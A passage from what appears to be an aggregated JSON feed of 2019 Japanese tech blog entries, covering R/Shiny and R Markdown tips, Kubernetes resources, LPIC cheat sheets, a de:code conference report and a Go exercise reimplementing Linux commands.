Vue.js 入門難易度:初級~中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している","isoDate":"2019-12-09T16:20:41.000Z","dateMiliSeconds":1575908441000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"tidymodelsでもxgboostを解釈したい","link":"https://blog.atusy.net/2019/10/29/interpret-tidymodels/","contentSnippet":"はじめにXGBoostによる学習Variable Importance Plot (VIP)Partial Dependence Plot (PDP)可視化で得られた考察を反映するはじめにtidymodelsに属するparsnipパッケージを用いて機械学習を行った場合、大本のパッケージで学習した場合と異なる構造のオブジェクトが返ります。例えばxgboost::xgboost関数で学習した結果はxgb.Boosterクラスを持つオブジェクトです。一方でparsnip::fit関数を用いてXGBoostの学習を行った結果は、_xgb.Boosterクラスとmodel_fitクラスを持つオブジェクトです。","isoDate":"2019-10-29T00:00:00.000Z","dateMiliSeconds":1572307200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Zero Scale Abstraction in Knative Serving - Part1","link":"https://qiita.com/toVersus/items/9fa635e9cf57643f8dd6","contentSnippet":"Serverless Days Tokyo 2019 の Zero Scale Abstraction in Knative Serving というセッションの内容を書き起こしたものです。スピーカー…","isoDate":"2019-10-23T13:20:58.000Z","dateMiliSeconds":1571836858000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"LPIC 102 チートシート","link":"https://qiita.com/kyohmizu/items/d5d6fedc527efa9f649c","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…","isoDate":"2019-10-09T01:56:54.000Z","dateMiliSeconds":1570586214000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"LPIC 101チートシート","link":"https://qiita.com/kyohmizu/items/923844999018fd456d44","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル /etc/dpkg/…","isoDate":"2019-10-09T01:48:33.000Z","dateMiliSeconds":1570585713000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Rで作る対称コルーチン","link":"https://blog.atusy.net/2019/10/03/symmetric-coroutine/","contentSnippet":"n月刊ラムダノート Vol.1の『「コルーチン」とは何だったのか』を読んでいる。せっかくなので勉強がてら、Rでコルーチンを実装してみることにした。今回は元祖コルーチンとして紹介されている対称コルーチンを扱う。","isoDate":"2019-10-03T00:00:00.000Z","dateMiliSeconds":1570060800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"面倒なことはScalaスクリプトにやらせよう / let scala scripts do the troublesome things","link":"https://speakerdeck.com/nomadblacky/let-scala-scripts-do-the-troublesome-things","contentSnippet":"2019/09/13 Scala秋祭り","isoDate":"2019-09-16T04:00:00.000Z","dateMiliSeconds":1568606400000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"lemon パッケージで facet した ggplot2 に軸を表示する","link":"https://blog.atusy.net/2019/08/18/lemon-facet-rep/","contentSnippet":"","isoDate":"2019-08-18T00:00:00.000Z","dateMiliSeconds":1566086400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で coord_fixed な ggplot2 の余白を取り除く","link":"https://blog.atusy.net/2019/08/12/rmd-fig-crop-margin/","contentSnippet":"不要な余白 (黒色部) ができてしまう時は、チャンクオプションの fig.process に画像処理を行う関数を指定しよう。","isoDate":"2019-08-12T00:00:00.000Z","dateMiliSeconds":1565568000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmd + Revealjs で簡単に印刷もできる2カラムレイアウトを実現する (inline-block)","link":"https://blog.atusy.net/2019/08/11/revealjs-2col-inline-block/","contentSnippet":"出力例実装CSSYAML フロントマターCSS チャンクマークダウン記法Rmd 例Enjoy!R Markdown で Reveal.js を使ったスライド作りをする時、時々欲しくなるのが、2カラムレイアウトだ。","isoDate":"2019-08-11T00:00:00.000Z","dateMiliSeconds":1565481600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で動的に図の数を変更する","link":"https://blog.atusy.net/2019/08/09/shiny-dynamic-numer-of-plots/","contentSnippet":"","isoDate":"2019-08-09T00:00:00.000Z","dateMiliSeconds":1565308800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットを click したり brush したりした時に得られるデータまとめ","link":"https://blog.atusy.net/2019/08/07/shiny-clickopts/","contentSnippet":"tr:nth-child(even) { background: #eee;}Shiny では plotOutput の click, dblclick, hover, brush 引数を利用することで,プロットした画像からマウス操作で座標情報などを取得できる.この時得られるデータがドキュメントされていなかったので調査した.","isoDate":"2019-08-07T00:00:00.000Z","dateMiliSeconds":1565136000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でマウスの位置に応じてプロットにツールチップを表示する","link":"https://blog.atusy.net/2019/08/06/shiny-hover-tooltip/","contentSnippet":"Shiny でプロットにツールチップを表示させる一番簡単な方法は plotly を使うことだろうが,Shiny だけで頑張ってしまうと柔軟でいい.","isoDate":"2019-08-06T00:00:00.000Z","dateMiliSeconds":1565049600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で input の変更が反映されるまでの時間を調整する (debounce / throttle)","link":"https://blog.atusy.net/2019/08/04/shiny-throttle-and-debounce/","contentSnippet":"入力から一定時間の経過を待ってプログラムを実行するには debounce や throttle を使う.","isoDate":"2019-08-04T00:00:00.000Z","dateMiliSeconds":1564876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"DT::datatable の行番号を並べ変え可能にする (Shiny / 非Shiny)","link":"https://blog.atusy.net/2019/08/03/dt-ordered-by-row-numbers/","contentSnippet":"DT::datatable とは行名 (行番号) で並べ変える非 shinyshinyrenderDT(server = FALSE) にする行番号相当の列を用意するEnjoy!DT::datatable とはDT::datatable は jQuery 用の DataTables プラグインを R で使うための関数だ.これに iris などのデータフレームを与えると,対話的な表を簡単に作れる.","isoDate":"2019-08-03T00:00:00.000Z","dateMiliSeconds":1564790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットの高さをブラウザ画面のサイズに合わせて変更する","link":"https://blog.atusy.net/2019/08/01/shiny-plot-height/","contentSnippet":"","isoDate":"2019-08-01T00:00:00.000Z","dateMiliSeconds":1564617600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で表示タブを変更するリンクを貼る","link":"https://blog.atusy.net/2019/07/31/shiny-show-tab/","contentSnippet":"","isoDate":"2019-07-31T00:00:00.000Z","dateMiliSeconds":1564531200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードの折り畳みをチャンクごとに選択可能にした (rmarkdown 1.15)","link":"https://blog.atusy.net/2019/07/24/rmd-1-15-gh/","contentSnippet":"html_document ではコードの折り畳みができる.使い方は簡単で,YAMLフロントマターにて code_folding を指定するだけだ1.none: code_folding を無効化する.show: デフォルトで全て表示する.hide: デフォルトで全て非表示にする.show・hideの場合は,後からソースコードごとにボタンで表示を切り替えることができる.","isoDate":"2019-07-24T00:00:00.000Z","dateMiliSeconds":1563926400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"bookdown のコミッタになったのでこれまでの貢献を振り返る","link":"https://blog.atusy.net/2019/07/07/bookdown-committer/","contentSnippet":"bookdown のコミッタになった.ほんまにええんかいなと思いつつ,貢献を続けていく上で励みになるので,ありがたく頂戴した次第.私が過去に出した PR が Pandoc の仕様変更に巻き込まれたので,どうするか相談していたところ,","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidyr 1.0.0 で追加される pack を使えば見せる用の表が簡単に作れるかも","link":"https://blog.atusy.net/2019/07/07/application-of-pack/","contentSnippet":"","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr はチャンクが掃き出すコードブロックにもっとクラス属性を与えるべきと思ったが PR を断念した","link":"https://blog.atusy.net/2019/07/05/gave-up-pr-to-knitr/","contentSnippet":"R Markdown ではチャンクオプションを利用して,ソースコード,出力,メッセージ,警告,エラーに対して,クラス属性などを付与できる.だったら最初から chunk-source, chunk-output, …って感じのクラス持たせておいた方がよくない?って思った.","isoDate":"2019-07-05T00:00:00.000Z","dateMiliSeconds":1562284800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそう","link":"https://blog.atusy.net/2019/07/03/rmd-line-num-in-pandoc-2-7-3/","contentSnippet":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそうな一方で問題もあるのでメモ.bookdown に依存している pagedown や blogdown も関係しうる.","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + Honoka の実用化は険しい","link":"https://blog.atusy.net/2019/07/03/honokadown/","contentSnippet":"rmarkdown::html_document に Honoka という 日本語表示を最適化した Bootstrap テーマをあてたかった. 今のところ,まともに使おうとすると本家と Honoka の bootstrap.min.css を両方取り込むことになって非効率.","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"雑訳vignette: Pivoting (tidyr 1.0.0)","link":"https://blog.atusy.net/2019/06/29/pivoting-tidyr-1-0-0/","contentSnippet":"tiydr 1.0.0 で追加される pivot_longer() と pivot_wider() の使い方を紹介する vignette の雑な訳","isoDate":"2019-06-29T00:00:00.000Z","dateMiliSeconds":1561766400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CRAN にパッケージを初投稿する手順","link":"https://blog.atusy.net/2019/06/28/cran-submission/","contentSnippet":"R のヘルプをもっと便利にする felp パッケージが CRANからリリースされた.この経験を踏まえ,CRAN 投稿を初挑戦する人向けの情報を纏めた.","isoDate":"2019-06-28T00:00:00.000Z","dateMiliSeconds":1561680000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr::mutate_all と purrr::modify の比較","link":"https://blog.atusy.net/2019/06/13/mutate-all-vs-modify/","contentSnippet":"dplyr::mutate_all はデータフレーム中の各変数 (列) に対して関数を適用する。purrr::modify はリストライクなオブジェクトの各要素に対して関数を適用するが、返り値は入力したオブジェクトと同じクラスになる。このため、データフレームを入力するとデータフレームを返すので、 dplyr::mutate_all のように振る舞うことができる。","isoDate":"2019-06-13T00:00:00.000Z","dateMiliSeconds":1560384000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"de:code 2019 参加レポート","link":"https://kyohmizu.hatenablog.com/entry/2019/06/06/111805","contentSnippet":"Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ~開発者目線で Kubernetes の基本を理解する~【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ~Azure Sentinel Deep Dive~注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの?)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。 Recap of de code 2019 from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目","isoDate":"2019-06-06T02:18:05.000Z","dateMiliSeconds":1559787485000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"行列を行/列ごとのリストに変換する関数の紹介とベンチマーク (base::asplit, purrr::array_tree, purrr::array_branch)","link":"https://blog.atusy.net/2019/06/01/asplit-r-3-6-0/","contentSnippet":"baseasplitasplit(行列)asplit(配列)purrrarray_treearray_tree(行列)array_branch(配列)array_tree(ベクトル)array_branchベンチマークR 3.6.0 では行列や配列を MARGIN に応じたリストに分割する asplit 関数が追加された.既に purrr パッケージが同様の機能として array_tree や array_branch を実装していたので,挙動とベンチマーク結果を比較してみる.","isoDate":"2019-06-01T00:00:00.000Z","dateMiliSeconds":1559347200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetesリンク集","link":"https://kyohmizu.hatenablog.com/entry/2019/05/28/115504","contentSnippet":"Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: \uD83E\uDD14 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation \xa0|\xa0 Kubernetes Engine \xa0|\xa0 Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス","isoDate":"2019-05-28T02:55:04.000Z","dateMiliSeconds":1559012104000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"【20日チャレンジ】LinuxコマンドをGoで実装","link":"https://kyohmizu.hatenablog.com/entry/2019/05/23/172119","contentSnippet":"Go言語の学習のため、LinuxコマンドをGoで実装します。\\r目的\\r\\rGo言語に慣れる\\r標準パッケージの機能、使い方を知る\\r\\rルール\\r以下のルールでチャレンジを行います。\\r\\r1日1コマンドを実装する\\r最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする\\r余裕があれば追加機能を実装する\\rコマンド名は\\"my\\" + \\"Linuxコマンド名\\"とする\\r極力標準パッケージを使用する\\r\\rソースコード\\rソースコードはGithubで管理します。\\rhttps://github.com/kyohmizu/go-cli-tools\\rスケジュール\\r\\r\\r\\rNo\\r日付\\rコマンド\\r基本実装\\rオプション\\r学習内容\\r\\r\\r1\\r5/23\\rmyls\\r〇\\r\xa0\\r\\rディレクトリ操作\\rエラー処理\xa0\\r\\r\\r\\r2\\r5/24\\rmycp\\r〇\\r△\\rファイル操作\\r\\r\\r3\\r5/25\\rmymv\\r〇\\r△\\r\xa0\\r\\r\\r4\\r5/26\\rmyrm\\r〇\\r△\\r\xa0\\r\\r\\r5\\r5/27\\rmycat\\r〇\\r△\\r\xa0\\r\\r\\r6\\r5/28\\rmycurl\\r〇\\r△\\r\\rhttp接続の実装\\rオプションの複数回指定\\r\\r\\r\\r7\\r5/29\\rmypwd\\r〇\\r△\\r\xa0OSによる条件分岐\\r\\r\\r8\\r5/30\\rmytouch\\r〇\\r△\\rbuild tagの設定\xa0\\r\\r\\r9\\r5/31\\rmymkdir\\r〇\\r△\\r\xa0ファイルの操作権限\\r\\r\\r10\\r6/1\\rmykill\\r〇\\r〇\\rプロセスとシグナル\xa0\\r\\r\\r11\\r6/2\\rmyecho\\r〇\\r-\\r引数の取得\\r\\r\\r12\\r6/3\\rmytime\\r△\\r-\\r\\rコマンド実行\\rtimeの操作\\r\\r\\r\\r13\\r6/4\\rmychmod\\r△\\r-\\r\\rbit演算\\rファイルの権限\\r\\r\\r\\r14\\r6/5\\rmyyes\\r〇\\r〇\\r\xa0\\r\\r\\r15\\r6/6\\rmyenv\\r〇\\r△\\r\\rwindowsで確認不可\\r\\r\\r\\r16\\r6/7\\rmychown\\r〇\\r△\\r\\ruser,group操作\\rwindowsで確認不可\\r\\r\\r\\r17\\r6/8\\rmygrep\\r〇\\r△\\r\\rgrepの操作\\rgoの正規表現\\r\\r\\r\\r18\\r6/9\\rmysleep\\r〇\\r△\\r\xa0\\r\\r\\r19\\r6/10\\rmymkdir\\r〇\\r△\\r\xa0\\r\\r\\r20\\r6/11\\rmyln\\r〇\\r△\\rリンクの操作\\r\\r\\r\\r\xa0\\r成果\\r\\rGoの構文や記法に慣れてきた\\rGo標準パッケージの使い方、調べ方を覚えた\\rLinuxコマンドの動作を知ることができた\xa0\\r\\r感想\\r20日も書けば、ある程度書けるようになることがわかりました。\\r普段使用するC#とGoが似ている点も覚えやすかったのだと思います。\\r次はGoでAPIを作成してみようと考えています。","isoDate":"2019-05-23T08:21:19.000Z","dateMiliSeconds":1558599679000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Ghostscript (> 9.15) を使って PDF 中の文字列をアウトライン化する","link":"https://blog.atusy.net/2019/05/23/outline-pdf-glyphs-by-gs/","contentSnippet":"HTML + CSS で作ったポスターをちゃんと印刷したくて調べたメモ.どうやら Ghostscript (> 9.15) で以下のような呪文を唱えればいいようだ.gs -o output.pdf -dNoOutputFonts -sDEVICE=pdfwrite input.pdf手元で試した分にはうまくいってそう (gs 9.27-1).","isoDate":"2019-05-23T00:00:00.000Z","dateMiliSeconds":1558569600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードブロックに行番号を表示する 〜最終章〜","link":"https://blog.atusy.net/2019/05/19/rmd-line-num-pr/","contentSnippet":"Rmd で様々な HTMLフォーマット に出力した時にコードブロックに行番号を表示する機能 +α を PR したので使い方の紹介と PR の記録,","isoDate":"2019-05-19T00:00:00.000Z","dateMiliSeconds":1558224000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio 1.2.x では install.packages する時にパッケージ名を補完してくれる","link":"https://blog.atusy.net/2019/05/18/auto-complete-when-install-package/","contentSnippet":"リリースノートにも載っていない RStudio 1.2.x の世界ん?install.packagesするとき、ライブラリ名が補完される・・・???という @niszet0 氏の 投稿 を発端に確認.なぜか私が纏めることに.上の画像のように,パッケージ名を引用符で囲わずに入力し始め,tab キーを押すと幸せになれる.","isoDate":"2019-05-18T00:00:00.000Z","dateMiliSeconds":1558137600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + XeLaTeX で日本語含め好きなフォントを使って PDF を出力する","link":"https://blog.atusy.net/2019/05/14/rmd2pdf-any-font/","contentSnippet":"これまでに度々 Rmd で日本語 PDF を出力する系の記事を書いてきました.RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力するhttps://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/Rmarkdownで日本語PDFを出力するhttps://qiita.com/Atsushi776/items/9ef1e5d744e2b91c61eej両記事は共に IPA(ex) フォントを使ってきました.","isoDate":"2019-05-14T00:00:00.000Z","dateMiliSeconds":1557792000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr をフォークする時は knitr-examples もフォークした方がいい","link":"https://blog.atusy.net/2019/05/13/forking-knitr/","contentSnippet":"R Markdown のコードブロックで行番号を便利に使えるよう,関連パッケージに働きかけています.bookdown::html_document2 に clean_highlight_tags を追加(#706; merged)pagedown の default.css を編集して出力の見た目を修正(#100; approved)knitr のコードブロックに Pandoc のfenced code attributesをフルサポートさせる(#1710)詳細は全てがマージされたら報告しようかなと.","isoDate":"2019-05-13T00:00:00.000Z","dateMiliSeconds":1557705600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo テーマを更新して UX 向上を狙ってみた","link":"https://blog.atusy.net/2019/05/11/simplified-hugo-bootstrap/","contentSnippet":"当 blog は 静的サイトジェネレータの Hugo によって運用している.テーマは長らく Xzya/hugo-bootstrap だデモサイト).しかし,目立つ青が随所に散らばるテーマであることなど,イマイチ読み難いように感じていた.","isoDate":"2019-05-11T00:00:00.000Z","dateMiliSeconds":1557532800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo で KaTeX","link":"https://blog.atusy.net/2019/05/09/katex-in-hugo/","contentSnippet":"MathJax より軽量で高速な KaTeX に乗り換えた","isoDate":"2019-05-09T19:00:00.000Z","dateMiliSeconds":1557428400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo (blogdown) で MathJax","link":"https://blog.atusy.net/2019/05/09/how2mathjax/","contentSnippet":"Hugo (blogdown) で MathJax を利用する方法を紹介.ただし,2019-05-09 以降は KaTeX を採用しているため,数式のレンダリングは KaTeX によるもの.","isoDate":"2019-05-09T18:00:00.000Z","dateMiliSeconds":1557424800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力する","link":"https://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/","contentSnippet":"はじめに過去に 「Rmarkdownで日本語PDFを出力する」という記事を書いた.ここでは以下のような YAML フロントマターを用いて, IPA フォントによる日本語 PDF を出力した.---output: pdf_document: latex_engine: xelatex header-includes: - \\\\usepackage{bookmark} - \\\\usepackage{xltxtra} - \\\\usepackage{zxjatype} - \\\\usepackage[ipa]{zxjafont} ---\\\\usepackage[ipa]{zxjafont} という部分で IPA フォントを指定しているが,ここには他のフォントも指定できる1.","isoDate":"2019-04-29T00:00:00.000Z","dateMiliSeconds":1556496000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse でも Rmd → PDF 時に必要なパッケージが自動インストールできるようになった","link":"https://blog.atusy.net/2019/04/27/tlmgr-install-on-rocker/","contentSnippet":"rocker/verse における Tex Live 関連の権限が更新され, tlmgr install や Rmd → PDF 時に必要なパッケージの自動インストールが可能になった.Dockerfile 編集時には注意点あり.","isoDate":"2019-04-27T00:00:00.000Z","dateMiliSeconds":1556323200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"highlightjs と highlightjs-line-numbers プラグインで Rmarkdown のコードブロックに行番号をつける","link":"https://blog.atusy.net/2019/04/22/rmd-line-num-with-highlightjs/","contentSnippet":"highlightjs と highlightjs-line-numbers プラグインによって, 様々な html フォーマットにおいてコードブロックに番号付けできるようにする方法を紹介する.","isoDate":"2019-04-22T00:00:00.000Z","dateMiliSeconds":1555891200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmarkdown でチャンクとその出力に行番号を付ける","link":"https://blog.atusy.net/2019/04/18/rmd-line-num/","contentSnippet":"html_document と pdf_document でチャンクとその出力に行番号を付ける方法が判ったので,紹介します.出力例と詳解は英語版をご覧下さい.","isoDate":"2019-04-18T00:00:00.000Z","dateMiliSeconds":1555545600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Form","link":"https://blog.atusy.net/netlify-forms/","contentSnippet":"Send","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"プライバシーポリシー","link":"https://blog.atusy.net/privacy-policy/","contentSnippet":"本文書は,当サイト (Atusy’s blog) における個人情報の保護およびその適切な取り扱いについての方針を示したものです.当サイトが利用しているアクセス解析ツールに関して当サイトでは,Googleによるアクセス解析ツール「Googleアナリティクス」を利用しています.このGoogleアナリティクスはトラフィックデータの収集のためにCookieを使用しています.このトラフィックデータは匿名で収集されており,個人を特定するものではありません.","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker で使える便利コマンド install2.r とその仲間たち powered by littler","link":"https://blog.atusy.net/2019/04/16/littler-on-rocker/","contentSnippet":"rocker で使える install2.r や installGithub.r は,シェル上から CRAN や GitHub 上の R パッケージをインストールするコマンドです.これらの正体や TIP を纏めました.","isoDate":"2019-04-16T00:00:00.000Z","dateMiliSeconds":1555372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xonsh 始めました + xonshrc 弄って oh-my-fish/yimmy inspired な見た目にする","link":"https://blog.atusy.net/2019/04/14/xonsh-debut/","contentSnippet":"Python が動いちゃうシェルこと xonsh を導入しました.早速最低限の設定としてばんくし氏の xonshrc を撮み食いしつつ,Look & Feel を oh-my-fish/theme-yimmy inspired なものにしました.","isoDate":"2019-04-14T00:00:00.000Z","dateMiliSeconds":1555200000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2 をもっとカンタンに plotly 化する","link":"https://blog.atusy.net/2019/03/22/ggplotly-asif-layer/","contentSnippet":"ggplot(mtcars, aes(wt, mpg)) + geom_point() + gginteractive() といった感じで,ggplot に優しい文法で ggplot を plotly 化できるようにしてみました.gghighlight との組み合わせも便利です.","isoDate":"2019-03-22T00:00:00.000Z","dateMiliSeconds":1553212800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istioが作るサービスメッシュ~サンプルアプリのデプロイ~","link":"https://qiita.com/tozastation/items/1f3c3f213b42e1689406","contentSnippet":"サンプルアプリ題材: BookInfo アプリケーション※ 事前にIstioをKubernetesにデプロイしておいてください.構成サンプルアプリのデプロイistio-1.0.6 dire…","isoDate":"2019-03-14T05:18:21.000Z","dateMiliSeconds":1552540701000,"authorName":"tozastation","authorId":"tozastation"},{"title":"CNAME ファイルだけで GitHub pages から301リダイレクトする","link":"https://blog.atusy.net/2019/03/11/use-cname-to-redirect-from-gh-pages/","contentSnippet":"GitHub pages を利用していたレポジトリに転送先のドメインを記述したファイルを作成すると user.github.io/repository/* へのアクセスが指定したドメインに転送されるようになります.","isoDate":"2019-03-11T00:00:00.000Z","dateMiliSeconds":1552262400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"git でプレゼン資料を纏めるなら各資料は submodule 化しとくとよさげ","link":"https://blog.atusy.net/2019/02/14/submodulize-presentations/","contentSnippet":"私はプレゼン資料を atusy/presentation に纏めて公開している.プレゼンの機会なんて無制限にあるので色々面倒が生じる気がしてきた.資料ごとに git log を分けたいsubmodule ならできる振り返る気のない資料は適宜 local から消したいディスク容量節約","isoDate":"2019-02-14T00:00:00.000Z","dateMiliSeconds":1550102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio daily builds な rocker/verse をビルド時間短かめに作る","link":"https://blog.atusy.net/2019/02/12/dockerfile-rocker-verse-daily/","contentSnippet":"※この記事は元々,Rstudio 1.2.x preview版を利用したい人向けの記事でした. 2019-04-08 に Rstudio 1.2.1335 が正式リリースされたので, daily builds を使いたい人向けに改題しました.","isoDate":"2019-02-12T00:00:00.000Z","dateMiliSeconds":1549929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"hugo_bootstrap のサイドバーにシェアボタンを追加","link":"https://blog.atusy.net/2019/02/08/sns-buttons/","contentSnippet":"やっぱり Share ボタンは欲しいよねということで雑に実装した.","isoDate":"2019-02-08T00:00:00.000Z","dateMiliSeconds":1549584000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"専用パッケージを導入せず GitHub 上の R パッケージをインストールする","link":"https://blog.atusy.net/2019/02/07/stand-alone-remotes-install-github/","contentSnippet":"TL;DRGitHub上の R パッケージのインストールは以下のようにコマンド一発でできる.force = TRUE 